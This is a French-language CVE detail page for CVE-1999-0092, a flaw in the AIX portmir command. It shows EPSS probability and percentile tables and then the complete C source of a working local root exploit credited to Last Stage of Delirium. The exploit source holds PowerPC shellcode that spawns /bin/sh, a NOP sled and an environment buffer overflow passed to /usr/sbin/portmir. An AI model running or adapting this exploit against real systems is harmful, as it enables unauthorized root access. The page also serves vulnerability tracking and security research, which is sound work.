CVE-1999-0092 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.28%
2025-03-30	–	–	–	–	0.28%
2025-04-15	–	–	–	–	0.28%
2025-04-15	–	–	–	–	0.28,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	5%
2025-03-30	49%
2025-04-15	51%
2025-04-15	51%

/* source: https://www.securityfocus.com/bid/385/info AIX version 4.2.1 introduced a new command titled 'portmir'. This new program had two notable vulnerabilites. First it contained a buffer overflow which allowed malicious users to obtain root privileges. Secondly it wrote it's log files to a world readable directly thereby exposing security relavent information. */ /*## copyright LAST STAGE OF DELIRIUM oct 2000 poland *://lsd-pl.net/ #*/ /*## /usr/bin/portmir #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of the uname -a or oslevel commands */ #define ADRNUM 400 #define NOPNUM 16000 #define ALLIGN 2 char shellcode[]= "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "/bin/sh\xff" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[20000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM oct 2000 poland //lsd-pl.net/\n"); printf("/usr/sbin/portmir for aix 4.2 4.3 4.3.x PowerPC/POWER\n\n"); if(argc<2){ printf("usage: %s 42|43|433\n",argv[0]);exit(-1); } switch(atoi(argv[1])){ case 42: shellcode[55]=0x02; break; case 43: shellcode[55]=0x04; break; case 433: shellcode[55]=0x03; break; default: exit(-1); } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; envp[0]=&buffer[1000]; envp[1]=0; b=buffer; for(i=0;i<ALLIGN;i++) *b++=adr[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[1000]; sprintf(b,"xxx=");b+=4; for(i=0;i<ALLIGN;i++) *b++=' '; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/sbin/portmir","lsd","-t",buffer,0,envp); }